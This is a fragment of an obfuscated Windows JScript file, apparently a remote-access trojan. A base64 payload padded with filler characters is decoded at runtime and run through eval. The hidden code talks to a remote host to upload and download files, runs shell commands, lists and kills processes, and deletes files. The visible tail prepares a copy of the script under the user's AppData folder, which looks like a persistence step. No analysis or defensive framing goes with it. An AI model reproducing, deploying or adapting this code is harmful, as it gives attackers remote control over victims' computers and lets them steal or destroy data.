Pj4ldll5QnRhMlJwY2lCY0lpSWdLeUJtYjJ4a1pYSWdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLQ1FrSmZRb0pDUWwzY21sMFpYSWdQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h2ZFhSd1lYUm9MQz4+JXlMQ0IwY25WbEtUc0tDUWtKZDNKcGRHVnlMbmR5YVhSbEtHSjFabVpsY2lrN0Nna0pDWGR5YVhSbGNpNWpiRzl6WlNncE93b0pDUWwzY21sMFpYSWdQU0J1ZFd4c093b0pDUWtLQ1FrSmRYQnNiMkZrS0hOaGRtVnlJQ3NnSW1SaGRHRWlMQ0J5WlhSamJXUXBPd29KQ1FsaWNtVmhhenNLQ1FsOUNpPj4lZ0lIMEtJQz4+JWdaR1ZzWlhSbFptRm1LSE4wY25OaGRtVjBieWs3Q24wS0NuMEtDbVoxYm1OMGFXOXVJR3RsZVd4dloyZGxjbk4wWVhKMFpYSWdLR1pwYkdWMWNtd3NJR1pwYkdWdVlXMWxMQ0JtYVd4bFlYSm5MQ0JwYzE5dlptWnNhVzVsS1hzS2MyaGxiR3h2WW1vdWNuVnVLQ0lsWTI5dGMzQmxZeVVnTDJNZ2RHRnphMnRwYkd3Z0wwWWdMMGxOSUNJZ0t5Qm1hV3hsYm1GdFpTd2dNQ3dnZEhKMVpTazdDblpoY2lCemRISnNhVzVySUQwZ1ptbHNaWFZ5YkRzS2RtRnlJSE4wY25OaGRtVjBieT4+JTlJR2x1YzNSaGJHeGthWElnS3lCbWFXeGxibUZ0WlRzS2RtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSWdLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbk5sZEZKbGNYVmxjM1JJWldGa1pYSW9JbU5oWTJobExXTnZiblJ5YjJ3Nklpd2dJbTFoZUMxaFoyVTlNQ0lwT3dwdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWdVpDZ3BPd29LZG1GeUlHOWlhbVp6YjJSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q21sbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQ0J2WW1wbWMyOWtiM2R1Ykc5aFpDNWtaV3hsZEdWR2FXeGxLSE4wY25OaGRtVjBieWs3Q24wS0k+PiVwcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUhSeWVYc0tJQz4+JWdJSFpoY2k+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2lZV1J2WkdJdWMzUnlaV0Z0SWlrN0NpPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVYY21sMFpTaHZZbXBvZEhSd1pHOTNibXh2WVdRdWNtVnpjRzl1YzJWQ2IyUjVLVHNLSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JUtJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnYm5Wc2JEc0tDWDFqWVhSamFDaGxjbklwZXdvSkNYVndaR0YwWlhOMFlYUjFjeWdpUVdOalpYTnpLMFJsYm1sbFpDSXBPd29KZlFvZ2ZRb2dhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ2MyaGxiR3h2WW1vdWNuVnVLQ0pjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lnSWk+PiVySUdodmMzUWdLeT4+JWlJQ0lnS3lCd2IzSjBJQ3NnSWlCY0lpSWdLeUJtYVd4bFlYSm5JQ3NnSWx3aUlDSWdLeUJwYzE5dlptWnNhVzVsS1RzS0lIMGdDbjBLQ21aMWJtTjBhVzl1SUhObGNuWnBZMlZ6ZEdGeWRHVnlJQ2htYVd4bGRYSnNMQ0JtYVd4bGJtRnRaU3dnWm1sc1pXRnlaeWw3Q2k+PiVnSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUIwWVhOcmEybHNiQz4+JXZSaT4+JXZTVTBnSWk+PiVySUdacGJHVnVZVzFsTEM+PiV3TENCMGNuVmxLVHNLSUM+PiVnSUhaaGNpQnpkSEpzYVc1cklEMGdabWxzWlhWeWJEc0tJQz4+JWdJSFpoY2lCemRISnpZWFpsZEc4Z1BTQnBibk4wWVd4c1pHbHlJQ3NnWm1sc1pXNWhiV1U3Q2k+PiVnSUNCMllYSWdiMkpxYUhSMGNHUnZkMjVzYjJGa0lEMGdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaT4+JXBPd29nSUM+PiVnYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6WlhSU1pYRjFaWE4wU0dWaFpHVnlLQ0pqWVdOb1pTMWpiMjUwY205c09pSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29KSUNCMGNubDdDaT4+JWdJQz4+JWdJQz4+JWdkbUZ5SUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVUM0JsYmlncE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbGR5YVhSbEtHOWlhbWgwZEhCa2IzZHViRzloWkM1eVpYTndiMjV6WlVKdlpIa3BPd29nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29nSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1M+PiVnZldOaGRHTm9LR1Z5Y2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKQlkyTmxjM01yUkdWdWFXVmtJaWs3Q2drZ0lIMEtJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnYVdZb2IySnFabk52Wkc5M2JteHZZV1F1Wm1sc1pVVjRhWE4wY3loemRISnpZWFpsZEc4cEtYc0tJQz4+JWdJQz4+JWdJQ0J6YUdWc2JHOWlhaTV5ZFc0b0lsd2lJaT4+JXJJSE4wY25OaGRtVjBieT4+JXJJQ0pjSWk+PiVpSUNzZ2FHOXpkQz4+JXJJQ0lnSWk+PiVySUhCdmNuUWdLeT4+JWlJRndpSWk+PiVySUdacGJHVmhjbWNnS3k+PiVpWENJaUtUc0tJQz4+JWdJQz4+JWdmUz4+JWdDbjBLQ21aMWJtTjBhVzl1SUhOcGRHVmtiM2R1Ykc5aFpHVnlJQ2htYVd4bGRYSnNMR1pwYkdWdVlXMWxLWHNLQ2k+PiVnSUNCMllYSWdjM1J5YkdsdWF5Pj4lOUlHWnBiR1YxY213N0NpPj4lZ0lDQjJZWElnYzNSeWMyRjJaWFJ2SUQwZ2FXNXpkR0ZzYkdScGNpPj4lcklHWnBiR1Z1WVcxbE93b2dJQz4+JWdkbUZ5SUc5aWFtaDBkSEJrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKdGMzaHRiREl1YzJWeWRtVnllRzFzYUhSMGNDSWdLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCemRISnNhVzVyTENCbVlXeHpaU2s3Q2k+PiVnSUNCdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJDSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd09pOHZJaT4+JXJJR2h2YzNRZ0t5Pj4laU9pSWdLeUJ3YjNKMElDc2lMeUlnS3k+PiVpYzJWdVpDMTBieTF0WlNJZ0t5QnpjR3hwZEdWeUlDc2dabWxzWlhWeWJDd2dabUZzYzJVcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xuTmxkRkpsY1hWbGMzUklaV0ZrWlhJb0luVnpaWEl0WVdkbGJuUTZJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDaT4+JWdJQ0J2WW1wb2RIUndaRzkzYm14dllXUXVjMlZ1WkNnaUlpazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQ0IyWVhJZ2IySnFabk52Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2ljMk55YVhCMGFXNW5MbVpwYkdWemVYTjBaVzF2WW1wbFkzUWlLVHNLSUM+PiVnSUdsbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxWm5OdlpHOTNibXh2WVdRdVpHVnNaWFJsUm1sc1pTaHpkSEp6WVhabGRHOHBPd29nSUM+PiVnZlFvZ0lDPj4lZ0k+PiVvZ0lDPj4lZ2FXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLSUM+PiVnSUM+PiVnSUNCMllYSWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltRmtiMlJpTG5OMGNtVmhiU0lwT3dvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV4T3k+PiVLSUM+PiVnSUM+PiVnSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1UGNHVnVLQ2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VTJGMlpWUnZSbWxzWlNoemRISnpZWFpsZEc4cE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0J1ZFd4c093b2dJQz4+JWdJSDBLSUM+PiVnSUNCcFppaHZZbXBtYzI5a2IzZHViRzloWkM1bWFXeGxSWGhwYzNSektITjBjbk5oZG1WMGJ5a3Bld29nSUM+PiVnSUM+PiVnSUhOb1pXeHNiMkpxTG5KMWJpaHZZbXBtYzI5a2IzZHViRzloWkM1blpYUkdhV3hsS0hOMGNuTmhkbVYwYnlrdWMyaHZjblJRWVhSb0tUc0tJQz4+JWdJQz4+JWdJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrVjRaV04xZEdWa0swWnBiR1VpS1RzS0lDPj4lZ0lDQjlJPj4lcDlDZ3BtZFc1amRHbHZiaUIxY0dSaGRHVnpkR0YwZFhNb2MzUmhkSFZ6WDIxelp5bDdDblJ5ZVhzS0NYWmhjaUJ2WW1wemIyTWdQU0JYVTJOeWFYQjBMa055WldGMFpVOWlhbVZqZENnaWJYTjRiV3d5TG5odGJHaDBkSD4+JWlLVHNLQ1c5aWFuTnZZeTV2Y0dWdUtDSndiM04wSWl3aWFIUjBjRG92THlJZ0t5Qm9iM04wSUNzZ0lqb2lJQ3NnY0c5eWRDPj4lcklDSXZJaT4+JXJJQ0oxY0dSaGRHVXRjM1JoZEhWeklpPj4lcklITndiR2wwWlhJZ0t5QnpkR0YwZFhOZmJYTm5MQ0JtWVd4elpTazdDZ2x2WW1wemIyTXVjMlYwVW1WeGRXVnpkRWhsWVdSbGNpZ2lkWE5sY2kxaFoyVnVkRG9pTENCcGJtWnZjbTFoZEdsdmJpZ3BLVHNLQ1c5aWFuTnZZeTV6Wlc1a0tDSWlLVHNLQ1gxallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnZFhCc2IyRmtJQ2htYVd4bGRYSnNMQ0J5WlhSamJXUXBld29KZEhKNWV3b0pDWFpoY2k+PiVnYUhSMGNHOWlhaXh2WW1wemRISmxZVzExY0d4dllXUmxMR0oxWm1abGNqc0tDUWwyWVhJZ2IySnFjM1J5WldGdGRYQnNiMkZrWlM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0NRbHZZbXB6ZEhKbFlXMTFjR3h2WVdSbExsUjVjR1VnUFM+PiV4T3k+PiVLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTGs5d1pXNG9LVHNLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTG14dllXUkdjbTl0Um1sc1pTaG1hV3hsZFhKc0tUc0tDUWxpZFdabVpYSWdQU0J2WW1wemRISmxZVzExY0d4dllXUmxMbEpsWVdRb0tUc0tDUWx2WW1wemRISmxZVzExY0d4dllXUmxMbU5zYjNObEtDazdDZ29KQ1c5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FsMllYSWdhSFIwY0c5aWFpPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1doMGRIQnZZbW91YjNCbGJpZ2ljRzl6ZENJc0ltaDBkSD4+JTZMeThpSUNzZ2FHOXpkQz4+JXJJQ0k2SWk+PiVySUhCdmNuUWdLeUl2SWk+PiVySUhKbGRHTnRaQ3dnWm1Gc2MyVXBPd29KQ1doMGRIQnZZbW91YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpZFhObGNpMWhaMlZ1ZERvaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1p5YjIxaGJua2dQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h6ZEhKellYWmxkRzhwTG5KbFlXUkJiR3dvS1RzS2RISjVld3BtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9jM1J5YzJGMlpYUnZLVHNLZldOaGRHTm9LR1ZsS1h0OUNuSmxkSFZ5YmlCeVpXRmtZV3hzWm5KdmJXRnVlVHNLZlFvS0NtWjFibU4wYVc5dUlHVnVkVzF3Y205alpYTnpLQ2w3Q2k+PiVnSUNCMllYSWdaWD4+JWdQUz4+JWlJanNLZEhKNWV3cDJZWElnYjJKcWQyMXBjMlZ5ZG1salpTPj4lOUlFZGxkRTlpYW1WamRDZ2lkMmx1YldkdGRITTZYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmpiMnhwZEdWdGN5Pj4lOUlHOWlhbmR0YVhObGNuWnBZMlV1UlhobFkxRjFaWEo1S0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgzQnliMk5sYzNNaUxHNTFiR3dzTkRncE93b0tabTl5S0haaGNpQm1hUz4+JTlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHTnZiR2wwWlcxektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnZG1GeUlHOWlhbWwwWlcwZ1BTQm1hUzVwZEdWdEtDazdDZ2xsY0M+PiU5SUdWd0lDc2diMkpxYVhSbGJTNXVZVzFsSUNzZ0lsNGlPd29KWlg+PiVnUFNCbGNDPj4lcklHOWlhbWwwWlcwdWNISnZZMlZ6YzBsa0lDc2dJbDRpT3dvZ0lDPj4lZ1pYPj4lZ1BTQmxjQz4+JXJJRzlpYW1sMFpXMHVaWGhsWTNWMFlXSnNaVkJoZEdnZ0t5QnpjR3hwZEdWeU93cDlDbjFqWVhSamFDaGxjaWw3ZlFweVpYUjFjbTRnWlg+PiU3Q24wS0NtWjFibU4wYVc5dUlHVjRhWFJ3Y205alpYTnpJQ2h3YVdRcGV3cDBjbmw3Q25Ob1pXeHNiMkpxTG5KMWJpZ2lkR0Z6YTJ0cGJHd2dMMFlnTDFRZ0wxQkpSQz4+JWlJQ3NnY0dsa0xEPj4lc2RISjFaU2s3Q24xallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnWjJWMFVHRnlaVzUwUkdseVpXTjBiM0o1S0hCaGRHZ3Bld29KZG1GeUlHWnZJRDBnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtIQmhkR2dwT3dvSmNtVjBkWEp1SUdacGJHVnplWE4wWlcxdlltb3VaMlYwVUdGeVpXNTBSbTlzWkdWeVRtRnRaU2htYnlrN0NuMEtDbVoxYm1OMGFXOXVJR1Z1ZFcxbVlXWWdLR1Z1ZFcxa2FYSXBld29nSUM+PiVnZG1GeUlISmxJRDBnSWlJN0NuUnllWHNLSUM+PiVnSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVadmJHUmxjaT4+JW9aVzUxYldScGNpa3VjM1ZpWm05c1pHVnljeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS0lDPj4lZ0lDPj4lZ0lDQjJZWElnWm05c1pHVnlJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ0lDPj4lZ0lISmxJRDBnY21VZ0t5Qm1iMnhrWlhJdWJtRnRaUz4+JXJJQ0plWG1SZUlpPj4lcklHWnZiR1JsY2k1aGRIUnlhV0oxZEdWeklDc2djM0JzYVhSbGNqc2dDaT4+JWdJQ0I5Q2k+PiVnSUNCbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSR2IyeGtaWElnS0dWdWRXMWthWElwTG1acGJHVnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ0lDPj4lZ0lIWmhjaUJtYVd4bElEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnSUhKbElEMGdjbVVnS3lCbWFXeGxMbTVoYldVZ0t5Pj4laVhpSWdLeUJtYVd4bExuTnBlbVVnS3k+PiVpWGlJZ0t5Qm1hV3hsTG1GMGRISnBZblYwWlhNZ0t5QnpjR3hwZEdWeU95Pj4lS0lDPj4lZ0lIMEtmV05oZEdOb0tHVnljaWw3ZlFweVpYUjFjbTRnY21VN0NuMD0iLCAiYmluLmJhc2U2NCJdOwp9CgpmdW5jdGlvbiBibG9vZE8ocHN0QVIpewoJcHN0QVIuTy5kYXRhVHlwZSA9IGJnZnRyZXdhcygpWzFdOwoJcHN0QVIuTy50ZXh0ID0gYmdmdHJld2FzKClbMF0ucmVwbGFjZShwc3RBUi5JLCAiQSIpOwoJcmV0dXJuICBBcnJheShmdW5jdGlvbigpe3JldHVybiBwc3RBUi5PO30pOwp9CnZhciBDTyA9IEFycmF5KGZ1bmN0aW9uKHR4dCl7CglyZXR1cm4gV1NjcmlwdC5DcmVhdGVPYmplY3QodHh0KTsKfSk7CgpmdW5jdGlvbiB3ZWFrMG8wbygpewoJdHJ5ewoJCXJldHVybiBDT1swXSgiU3lzdGVtLk5ldC5PbGVEYiIpOwoJfWNhdGNoKGVyKXsKCQlyZXR1cm4gbnVsbDsKCX0KfQoKZnVuY3Rpb24gcG93ZXJRUVEoYTFzMmVldzAsIGExczJlZXcxLCBhMXMyZWV3Mil7CgkvL3JldHVybiBBcnJheShhMXMyZWV3MFswXS5nZXRTdHJpbmcoKGExczJlZXcwWzFdKSksIGExczJlZXcyKTsKfQoKZnVuY3Rpb24gaGFpbE1ZamVzKGExczJlZXcsIGExczJlZXcxLCBhMXMyZWV3Mil7Cgl0cnl7CgkJdmFyIG50diA9IGJsb29kTyh7TzogYTFzMmVldzEuY3JlYXRlRWxlbWVudCgiZWd5IiksIEk6IG5ldyBSZWdFeHAoYTFzMmVld1swXSwgYTFzMmVld1sxXSl9KTsKCQlpZih3ZWFrMG8wbygpID09IG51bGwpewoJCQl2YXIgdHV0TmthbWFuID0gQ09bMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZWRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQp9CgpoYWlsTVlqZXMoQXJyYXkoIj4+JSIsICJnIiksIENPWzBdKCJNaWNyb3NvZnQuWG1sRG9tIikpOwo="; var wshShell1 = WScript.CreateObject("WScript.Shell"); var appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%"); var stubpath1 = appdatadir1 + 